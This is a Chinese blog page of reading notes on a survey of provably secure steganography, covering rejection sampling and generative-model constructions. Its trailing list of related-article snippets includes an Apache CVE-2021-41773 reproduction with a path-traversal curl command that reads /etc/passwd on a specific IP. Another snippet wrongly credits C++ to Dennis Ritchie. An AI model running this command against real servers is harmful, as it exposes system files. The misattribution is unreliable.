当前位置: 首页 > news >正文

论文阅读 | 可证安全隐写(网络空间安全科学学报 2023)

 可证安全隐写:理论、应用与展望


一、什么是可证安全隐写?

对于经验安全的隐写算法,即使其算法设计得相当周密,隐写分析者(攻击者)在观察了足够数量的载密(含有隐写信息的数据)和载体(不含有隐写信息的原始数据)之后,往往能够发现二者之间的统计差异,从而在一定程度上区分它们。这种区分能力通常被称为攻击者的优势。

可证安全的隐写算法在于确保隐写后的载体(即含有隐藏信息的数据)在统计上与原始载体(不含有隐藏信息的数据)无法被区分。这种技术追求的是在理论上能够证明,即使对于拥有无限计算资源的攻击者,也无法通过分析数据来检测出隐写的存在。

在传统的隐写实践中,由于自然采集的多媒体数据(如图像、音频等)的分布通常是未知且不可控的,因此很难实现可证安全隐写。然而,随着生成式人工智能(如生成对抗网络GAN、变分自编码器VAE等)的快速发展,情况发生了变化。这些生成模型能够学习并生成遵循特定分布的数据,而这个分布是已知且可控的。利用生成模型的这一特性,可证安全隐写开始从理论走向应用。

具体来说,隐写算法可以利用生成模型来创建隐写数据,这些数据在分布上与模型生成的普通数据无法区分。这样,即使攻击者知道隐写算法的存在,也无法仅通过分析数据来确定哪些数据是隐写的,因为隐写数据和普通数据在统计上是一致的。

二、技术路线/发展脉络 

1、经典构造方法——基于拒绝采样

1949年,Shannon指出建立隐蔽通信系统理论的困难性。直到二十世纪九十年代,学界开始借鉴可证安全密码的发展思路提出隐写的安全性理论。1998年,Cachin引入相对熵概念定义了隐写的信息论安全,但就像信息论安全的密码一样,实际应用的成本很高。2002年,Hopper等人提出了计算安全隐写定义,同时给出了两个基于拒绝采样的可证安全隐写构造,其安全性分别归约为伪随机函数族的伪随机性加密算法的安全性。然而,如算法1所示,拒绝采样需要 “载体分布可精确采样”,生成在统计上与原始载体无法区分的载密数据。

显然若m是要嵌入的消息,则采样到的样本c就表达了消息m,接收方将c代入判别函数f就能提取消息m。利用拒绝采样构造计算安全的隐写算法关键是在拒绝采样里面判决函数f函数怎么选取

(1)基于伪随机函数族的构造方法

这种方法使用伪随机函数族来生成载密数据。伪随机函数族在不知道密钥的情况下应该表现得像真正的随机函数。

通俗理解如下

1)伪随机函数族:这是一种特殊的函数集合,它们生成的输出看起来是随机的,但实际上是根据一个密钥确定的。这种函数在密码学中非常重要,因为它们可以用来加密信息。

2)拒绝采样:这是一种生成载密数据(含有隐藏信息的数据)的方法。它通过不断尝试,直到找到一个符合条件的数据样本。

3)算法步骤

  1. 加密消息:先把要隐藏的消息用一个安全的算法加密。
  2. 拒绝采样:然后根据加密后的消息,从载体中挑选出合适的数据,直到找到满足特定条件的数据样本。
  3. 生成载密数据:找到的这个样本就是载密数据,它包含了加密后的消息。
  4. 提取消息:接收方收到载密数据后,可以用相同的密钥和算法还原出原始的消息。

4)安全性体现:

  • 这种构造的安全性基于伪随机函数族的不可预测性。
  • 如果攻击者无法区分伪随机函数的输出和真正随机数,那么他们也就无法确定哪些数据是被隐藏了信息的(载密数据),哪些是没有隐藏信息的(载体数据)。这是因为伪随机函数(在隐写中用于生成载密数据)如果足够好,它的输出看起来就像自然产生的数据一样。
  • 密钥是用于控制伪随机函数的,只有知道密钥的人才能从伪随机函数生成的数据中提取出隐藏的信息。如果攻击者不知道密钥,他们就无法使用伪随机函数的逆过程来获取隐藏的信息,因此他们也就无法区分哪些数据是载密的,哪些不是。这就保护了隐写术的安全性。

5)那么真正的接受者如何获取秘密信息呢?【密钥、纠错码编码译码、伪随机函数】

(2)基于无偏函数的构造方法 

这种方法假设存在一个无偏函数,它对所有输入的输出都是等概率的。

通俗解释

1)无偏函数:这是一种特殊函数,无论输入是什么,它的输出都是完全随机的,没有任何偏差。简单来说,就是这个函数对所有可能的结果都是公平的,每个结果出现的机会都一样。

2)算法步骤

  1. 加密消息:首先,用一个安全的加密方法(比如一个密码锁)把要隐藏的消息加密,变成一串看起来随机的数字(密文)。
  2. 使用无偏函数:然后,用这个无偏函数和加密后的消息来生成载密数据(含有隐藏信息的数据)。这个过程中,无偏函数确保每个可能的输出都是随机且等概率的。
  3. 隐藏信息:这样生成的载密数据就被用来隐藏原始消息,外人很难发现里面隐藏了信息。

3)安全性的体现:如果这个加密方法足够安全,那么即使有人知道使用了无偏函数,他们也无法从载密数据中提取出隐藏的消息,因为加密后的消息本身就是随机的,而且无偏函数的输出也是随机的。

4)那么真正的接受者如何获取秘密信息呢?【密钥可逆的无偏函数

2、基于生成式AI的可证安全隐写构造

当前生成式人工智能兴起,可以生成文本、图像、音视频等各种数据。生成数据一般由机器学到的分布产生,由于分布已知或可控,满足了设计可证安全隐写的基本条件,可证安全隐写得以从理论走向应用。2018年,中国科大俞能海、张卫明老师团队最早提出了基于生成式人工智能实现可证安全隐写的思路,并给出了基于图像生成模型的实例(如图1所示),但是由于当时生成式AI的效果并不理想,缺少有影响的应用,所以生成式可证安全隐写并没有被关注。到2021年,生成式人工智能技术及应用爆发,中科大、清华大学、牛津大学、波士顿大学和约翰霍普金斯大学等提出了一系列生成式可证安全隐写方法。典型的构造包括分布分组、区间可逆采样、样本分组、分布耦合和分布副本(如图2-6所示)。 

(1)基于图像生成模型的实例

这种方法通过将加密消息映射到与生成模型统计一致的高斯分布向量,并利用模型逆过程生成难以区分的载密数据,实现高度隐蔽的可证安全隐写。

WaveGlow生成模型扮演声码器的角色,是一种可逆生成模型,它在波形层面建模,在声学特征作为辅助条件下实现高斯变量与语音信号的可逆映射

(2)基于分布分组

  • 原理:将高斯分布按照累计分布均匀划分成多个子区域每个子区域对应一个消息比特。根据消息比特,在相应的子区域内进行随机采样,然后将采样得到的高斯变量输入到生成模型中,生成载密音频。
  • 特点:利用生成模型的可逆性,通过控制采样区域来嵌入信息。
  • 注:若要扩大信息容量即单个样本点嵌入n比特信息,则将高斯分布按照累计分布均匀划分成2^n个子区域,根据n比特信息选图选择对应子区域采样即可。

 (3)基于区间可逆采样

利用生成模型的逆过程,将秘密信息嵌入到特定的数据区间中。这种方法的优点是可以从载密数据中准确地恢复出原始信息,即使在数据经过一定处理后。

  • 原理:在生成模型输出当前待生成词的概率分布后,将加密信息转化的随机数掉落在某个概率区间内,完成随机采样过程。落入同一区间内的随机数会采样到相同的词,这些随机数拥有相同的前缀。
  • 特点:解决了通道最小熵要求的问题,通过区间可逆性实现隐写。
  • 存在问题:基于区间可逆采样的方法未能充分利用生成模型提供分布的信息熵。

 基于随机采样过程的区间可逆性,提出了一种类算术编码的可证安全隐写方法。这个方法的简化解释如下:

  1. 生成模型和概率分布:使用一个生成模型来生成文本,这个模型会为每个可能生成的词(如“was”)输出一个概率分布。

  2. 加密信息的嵌入将加密后的信息转换成随机数,这些随机数根据概率分布被用来选择具体的词。例如,如果随机数落在“was”这个词的概率区间内,就选择“was”。

  3. 区间可逆性:确保同一区间内的随机数总是选择相同的词,这样可以通过词的选择来隐写信息。例如,如果“was”的概率区间内的随机数都以“01”为前缀,那么选择“was”就隐含了这2位信息。

  4. 迭代嵌入:在生成文本的过程中,不断地将加密信息嵌入到生成的词中。如果还有信息未嵌入,就在下一轮生成中继续嵌入,直到所有信息都嵌入完毕。

  5. 接收方的提取接收方收到载有隐写信息的文本后,通过重现生成过程和分析词的概率区间,可以提取出加密信息。

  6. 解决熵问题:通过动态调整每个生成词携带的信息量,适应生成过程中熵的变化,确保即使在熵较低的情况下也能有效地嵌入信息。

  7. 防止随机数重用:每次生成词时都重新加密待嵌入的信息,避免随机数重用,增加隐写的安全性。

这种方法通过精细控制信息嵌入的过程,确保了隐写信息的隐蔽性和安全性,使得攻击者难以检测到隐写的存在。

 (4)基于样本分组(不太理解)

  • 原理:自适应地将生成模型输出的显式概率分布动态地划分成概率和相等的组,以分组序号表示秘密消息。发送方和接收方需要共享相同的隐写参数。
  • 特点:通过分组和递归思想,实现秘密消息的嵌入和提取。
  • 存在问题:基于样本空间分组的方法需要对离散概率分布分布进行均匀划分,这个条件在具体应用中难以严格实现。

 清华大学团队提出的这种方法具体是这样工作的:

  1. 确定分组数目:首先,使用一个生成模型来预测可能出现的数据(比如文本中的下一个词)及其概率。然后,基于这些概率的分布特性,决定将数据分成多少组。这就像把一堆不同颜色的球分成几个桶,每个桶里的球颜色都差不多。

  2. 分组和填充:接下来,使用一种查找算法,根据概率的大小,找到最接近的词来填充每个分组。这就像是根据球的大小,将它们放入相应的桶中。

  3. 选择和归一化:利用秘密消息(比如一个随机生成的数字序列),选择一个特定的分组。然后,对这个分组内的数据进行处理,使得它们在统计上看起来是均匀分布的。这就像是在选定的桶中,将球重新排列,使得它们看起来没有规律。

  4. 采样和嵌入:最后,使用一个普通的采样器,从选定的分组中随机选择一个词。这个被选中的词就包含了秘密信息,就像是在桶中随机挑选一个球,这个球就代表了隐藏的信息。

  5. 提高嵌入容量和效率:为了在有限的数据中隐藏更多的信息,或者加快信息隐藏的速度,可能会采用一些优化技术,比如递归嵌入和剪枝策略。这就像是找到更巧妙的方法来在桶中放入更多的球,或者更快地挑选出代表秘密信息的球。

这种方法的关键在于,它确保了隐藏信息的过程在统计上与自然生成的数据无法区分,因此很难被检测到。

(5)基于分布耦合

 将秘密信息的分布与生成模型的输出分布进行耦合,通过控制信息的嵌入过程来确保载密数据与原始数据在统计上不可区分。

  • 原理:将隐写过程视为由消息分布和信道条件分布建立的一种耦合,通过均匀分布的消息通过耦合控制对信道条件分布的采样,从而将消息映射成服从载体分布的样本。
  • 特点:利用最小熵耦合策略,构建出在概率的平均意义下最优的隐写方案
  • 存在问题:基于最小熵耦合的隐写构造存在密文消息不能正确提取信息的情况,并且嵌入速度慢。

 基本概念

  1. 消息分布和信道条件分布消息分布指的是隐写时要隐藏的信息的分布。信道条件分布指的是用于隐藏信息的载体数据的分布。

  2. 耦合(Coupling):耦合是将两个概率分布(消息分布和信道条件分布)结合起来,形成一个联合分布的过程。这种联合分布用于控制从信道条件分布中采样的过程。

耦合的构建

  1. 分布耦合:分布耦合是一种将信息隐藏技术与数据生成过程相结合的方法。它通过将信息嵌入到数据生成模型的输出中,使得隐藏信息后的载密数据在统计特性上与原始数据保持一致。

  2. 最小熵耦合(MEC, Minimum Entropy Coupling):最小熵耦合是一种特殊的耦合方式,它通过最小化联合分布的信息熵来构建最优的隐写方案。信息熵是衡量随机性的一个指标,最小化熵意味着使得耦合后的分布尽可能地接近原始分布。

  3. 迭代最小熵耦合(iMEC):迭代最小熵耦合是一种实现最小熵耦合的方法,它通过迭代过程不断优化耦合,直到达到信息熵的最小值。这个过程包括:

    • 将采样结果反馈,更新消息后验分布。
    • 根据消息控制从信道条件分布中采样。
    • 耦合当前的消息后验分布与信道条件分布。

隐写过程

  1. 消息嵌入:在消息嵌入过程中,使用耦合来控制从信道条件分布中采样,从而将消息映射成服从载体分布的样本。

  2. 消息提取:接收方通过逆向操作,从载密数据中提取出隐藏的信息。这通常涉及到对耦合过程的逆过程。

通过这种方法,可以实现在不损害数据质量的前提下,将秘密信息安全地隐藏在载体数据中,同时确保信息的隐蔽性和安全性。

 (6)基于分布副本

 为给定的概率分布创建多个副本,然后使用这些副本的索引值来表示秘密信息。这种方法可以充分利用生成模型提供的概率分布信息,提高信息隐藏的效率和安全性。

  • 原理:利用生成模型生成多个副本或变体的数据,通过在这些副本中嵌入不同的秘密信息或进行微小的修改,使得每个副本都看似独立且自然,但实则都含有隐写信息。
  • 特点:通过增加数据的多样性来增强隐写的隐蔽性。

这种方法通过创建多个分布副本来实现,每个副本都是原始概率分布的一个变体。下面将解释这个过程:

  1. 原始概率分布:假设有一个概率分布,它定义了生成数据(如文本、图像或语音)的各种可能方式。

  2. 创建分布副本:为了隐藏信息,我们创建多个分布副本。每个副本都是原始分布的一个“复制”,但通过某种方式(如循环移位)进行了修改,使得每个副本在统计特性上与原始分布相同,但具体实现细节不同。

  3. 信息嵌入将秘密信息(例如,二进制消息“0”或“1”)映射到不同的分布副本上。例如,如果信息是“0”,则可能选择“copy 0”,如果信息是“1”,则选择“copy 1”。

  4. 随机采样:从选定的分布副本中进行随机采样以生成载密数据。这个过程模拟了自然数据的生成过程,但嵌入了秘密信息。

  5. 载密数据的生成:载密数据生成后,它包含了隐藏的信息,但在感官上与未隐写的数据无法区分。

  6. 信息提取:接收方知道如何从载密数据中提取信息,因为他们知道分布副本的构造和秘密信息对应的副本。

  7. 循环移位示例:图中的“rotate left by 0.5”和“copy 0”、“copy 1”可能表示了循环移位的过程,其中分布的区间被向左移动了0.5个单位,创建了两个不同的副本。

  8. 索引值:图中的“x_t=b”和“x_{t}=d”可能表示了在特定时间步骤r^{(t)}=0.2中,根据分布副本的索引值选择的采样结果。

这种方法的关键在于,它允许在不显著改变数据外观的情况下嵌入信息,同时确保了只有知道正确分布副本构造的接收方才能提取出隐藏的信息。这种方法提供了一种在理论上可证明安全的隐写手段,使得即使在攻击者拥有强大计算资源的情况下,也无法检测到隐写信息的存在。


对基于生成模型的可证隐写方法理解的不是很透彻,详细还得细读论文内容。后续学习过程中,有新的理解会继续完善、改正。

相关文章:

论文阅读 | 可证安全隐写(网络空间安全科学学报 2023)

可证安全隐写:理论、应用与展望 一、什么是可证安全隐写? 对于经验安全的隐写算法,即使其算法设计得相当周密,隐写分析者(攻击者)在观察了足够数量的载密(含有隐写信息的数据)和载体…...

Arthas jvm(查看当前JVM的信息)

文章目录 二、命令列表2.1 jvm相关命令2.1.3 jvm(查看当前JVM的信息) 二、命令列表 2.1 jvm相关命令 2.1.3 jvm(查看当前JVM的信息) 基础语法: jvm [arthas18139]$ jvmRUNTIME …...

【c++】介绍

C是一种强大而灵活的编程语言,广泛用于开发各种应用程序和系统软件。它结合了C语言的高效性和面向对象编程的特性,为程序员提供了丰富的工具和功能,以满足各种编程需求。 C的历史可以追溯到上世纪80年代,最初由丹尼斯里奇和贝尔实…...

JavaScript typeof与instanceof的区别

typeof 和 instanceof 都是 JavaScript 中的运算符,用于检查数据类型或对象的类型。它们有不同的用途和适用场景: 1. typeof 作用:返回变量的数据类型,适用于原始数据类型(如 number、string、boolean 等&#xff09…...

C++11 可变的模板参数

前言 本期我们接着继续介绍C11的新特性,本期我们介绍的这个新特性是很多人都感觉抽象的语法!它就是可变的模板参数! 目录 前言 一、可变的模板参数 1.1可变的参数列表 1.2可变的参数包 1.3可变参数包的解析 • 递归展开解析 • 逗号…...

手机在网状态查询接口如何用PHP进行调用?

一、什么是手机在网状态查询接口? 手机在网状态查询接口,即输入手机号码查询手机号在网状态,返回有正常使用、停机、在网但不可用、不在网(销号/未启用/异常)、预销户等多种状态。 二、手机在网状态查询适用哪些场景…...

MATLAB中多张fig图合并为一个图

将下列两个图和为一个图 打开查看-----绘图浏览器 点击第一幅图中曲线右键复制,到第二幅图中粘贴即可完成...

Java启动Tomcat: Can‘t load IA 32-bit .dll on a AMD 64-bit platform报错问题解决

🎬 鸽芷咕:个人主页 🔥 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想,就是为了理想的生活! 专栏介绍 在软件开发和日常使用中,BUG是不可避免的。本专栏致力于为广大开发者和技术爱好者提供一个关于BUG解决的经…...

基于微信小程序的家教信息管理系统的设计与实现(论文+源码)_kaic

摘 要 随着互联网时代的来临,使得传统的家教模式已不复存在,亟需一种方便、快捷的在线教学平台。因此,利用Java语言作为支撑和MySQL数据库存储数据,结合微信小程序的便利性,为用户开发出了一个更加人性化、方便的家庭…...

【Android】BottomSheet基本用法总结(BottomSheetDialog,BottomSheetDialogFragment)

BottomSheet BottomSheet 是一种位于屏幕底部的面板,用于显示附加内容或选项。提供了从屏幕底部向上滑动显示内容的交互方式。这种设计模式在 Material Design 中被广泛推荐,因为它可以提供一种优雅且不干扰主屏幕内容的方式来展示额外信息或操作。 具体…...

Linux下实现ls命令的功能

教材:<Linux编程技术详解> 杜华 编著 人民邮电出版社 参考页码:P136 书中源代码: //p4.10.c 实现类似ls命令的功能 #include<stdio.h> #include<sys/types.h> #include<dirent.h> #include<stdlib.h> #include<sys/stat.h> #include&l…...

【中国留学网-注册_登录安全分析报告】

前言 由于网站注册入口容易被黑客攻击&#xff0c;存在如下安全问题&#xff1a; 暴力破解密码&#xff0c;造成用户信息泄露短信盗刷的安全问题&#xff0c;影响业务及导致用户投诉带来经济损失&#xff0c;尤其是后付费客户&#xff0c;风险巨大&#xff0c;造成亏损无底洞…...

jvm中的程序计数器、虚拟机栈和本地方法栈

引言 本文主要介绍一下jvm虚拟机中的程序计数器、虚拟机栈和本地方法栈。 程序计数器 作用 作用&#xff1a;记录下一条jvm指令的执行地址。 下面具体描述一下程序计数器的作用。 这里有两个代码&#xff0c;右边的为源代码&#xff0c;左边为编译之后的字节码。 当我们…...

安卓数据存储——SharedPreferences

共享参数 SharedPreferences 1、sharedPreferences是Android的一个轻量级存储工具&#xff0c;采用的存储结构是key - value的键值对方式 2、共享参数的存储介质是符合XML规范的配置文件。保存路径是&#xff1a;/data/data/应用包名/shared_prefs/文件名.xml 使用场景&…...

【计算机网络篇】数据链路层 功能|组帧|流量控制与可靠传输机制

&#x1f9f8;安清h&#xff1a;个人主页 &#x1f3a5;个人专栏&#xff1a;【计算机网络】 &#x1f6a6;作者简介&#xff1a;一个有趣爱睡觉的intp&#xff0c;期待和更多人分享自己所学知识的真诚大学生。 系列文章目录 【计算机网络篇】计算机网络概述 【计算机网络篇…...

Apache CVE-2021-41773漏洞复现

1、环境搭建 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2、使⽤poc curl http://47.121.212.195:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 3、工具验证...

带线无人机现身俄罗斯抗干扰技术详解

带线无人机在俄罗斯的出现&#xff0c;特别是其光纤制导技术的应用&#xff0c;标志着无人机抗干扰技术的一大进步。以下是对俄罗斯带线无人机抗干扰技术的详细解析&#xff1a; 一、带线无人机抗干扰技术背景 技术突破&#xff1a;俄军成功研发了光纤制导无人机&#xff0c;…...

ArcGIS10.2/10.6安装包下载与安装(附详细安装步骤)

相信从事地理专业的小伙伴来说&#xff0c;应该对今天的标题不会陌生。Arcgis是一款很常用的地理信息系统软件&#xff0c;主要用于地理数据的采集、管理、分析和展示。目前比较常见的版本有ArcGIS 10.2和ArcGIS 10.6。 不可否认&#xff0c;Arcgis具有强大的地图制作、空间分…...

生信服务器 | 组蛋白甲基化修饰、DNA亲和纯化测序、优青博导团队指导设计、解读实验结果。

查看原文>>>生信服务器 | 组蛋白甲基化修饰、DNA亲和纯化测序、优青博导团队免费指导设计、解读实验结果、一台服务器解决您所有的分析困扰!...

【machine learning-14-特征缩放-归一化】

特征缩放是提升线性回归收敛速度的技巧&#xff0c;什么是特征缩放&#xff1f; 又是什么场景下需要特征缩放&#xff0c;有哪些特征缩放的方法呢&#xff1f; 特征值差异 我们还是以之前房间预测为例&#xff1a; 这里面是特征房屋大小 房间数目 与房价的关系 本文为简化…...

二叉树堆的建立与排序

在数据结构中&#xff0c;二叉树是非常好用的一种数据结构&#xff0c;这节暂时按下不表。这节课主要介绍堆的建立与使用。 堆&#xff0c;是二叉树中一种很特殊的结构&#xff0c;首先&#xff0c;他必须是满二叉树&#xff0c;也就是除了最后一层以外&#xff0c;其他层都是…...

【软件测试】Bug 篇

哈喽&#xff0c;哈喽&#xff0c;大家好~ 我是你们的老朋友&#xff1a;保护小周ღ 今天给大家带来的是 【软件测试】Bug 篇&#xff0c;首先了解, 什么是Bug, 如何定义一个Bug, 如何描述一个 Bug, Bug的级别, 和 Bug 的生命周期, 以及测试人员跟开发人员产生争执如何处理,…...

oracle 多表查询

3.6多表查询 当查询的数据并不是来源一个表时&#xff0c;需要使用多表连接操作完成查询。多表连接查询通过表之间的关联字段&#xff0c;一次查询出多个表的数据。 3.6.1等值连接 等值连接也称为简单连接(Simple Joins)或者内连接(Inner Join)。通过等号来判断连接条件中的数据…...

layui 可以使点击图片放大

layui可以使图片点击放大&#xff0c;不用在写jquyery了真是很方便。 操作示例 引入 <link rel"stylesheet" href"https://cdn.jsdelivr.net/npm/layui-layer3.1.1/dist/layui.css" /> <script src"https://cdn.bootcdn.net/ajax/libs/jqu…...

制作网上3D展馆需要什么技术并投入多少费用?

制作网上3D展览馆项目&#xff0c;需要考虑以下技术和预算方面的信息&#xff1a; 技术需求&#xff1a; 1、三维建模技术&#xff1a;利用3D软件&#xff08;3ds max、maya、blender、c4d等&#xff09;制作展馆和展品的3D模型 2、Web3D技术&#xff1a;如WebGL&#xff0c…...

C++标准库容器类——string类

引言 在c中&#xff0c;string类的引用极大地简化了字符串的操作和管理&#xff0c;相比 C 风格字符串&#xff08;char*或cahr[]&#xff09;&#xff0c;std::string 提供了更高效和更安全的字符串操作。接下来让我们一起来深入学习string类吧&#xff01; 1.string 的构造…...

Qt --- 常用控件的介绍 --- 其他控件

一、QPushButton QWidget中设计到的各种属性/函数/使用方法&#xff0c;针对接下来要介绍的Qt的各种控件都是有效的。 使用QPushButton表示一个按钮&#xff0c;这也是当前我们最熟悉的一个控件了。这个类继承了QAbstractButton&#xff0c;这个类是一个抽象类&#xff0c;是…...

spark读取数据性能提升

1. 背景 spark默认的jdbc只会用单task读取数据&#xff0c;读取大数据量时&#xff0c;效率低。 2. 解决方案 根据分区字段&#xff0c;如日期进行划分&#xff0c;增加task数量提升效率。 /*** 返回每个task按时间段划分的过滤语句* param startDate* param endDate* param …...

一次使用threading.Thread来实现Pytorch多个模型并发运行的失败案例

文章目录 背景我的做法&#xff08;但证明不起效果&#xff09; 背景 我有多个pytorch GPU模型&#xff0c;他们有不同的参数&#xff08;也就是说不是共享的&#xff09;&#xff0c;但是相同的数据输入&#xff0c;想要并发运行。 不并发运行&#xff0c;当然就是循环喽。 …...

HashMap源码

简介 HashMap 是一种基于哈希表的 Map 接口实现&#xff0c;它存储键值对&#xff08;key-value pairs&#xff09;&#xff0c;并允许使用键来快速检索值。在 Java 中&#xff0c;HashMap 是 java.util 包的一部分&#xff0c;它不是同步的&#xff0c;这意味着它不是线程安全…...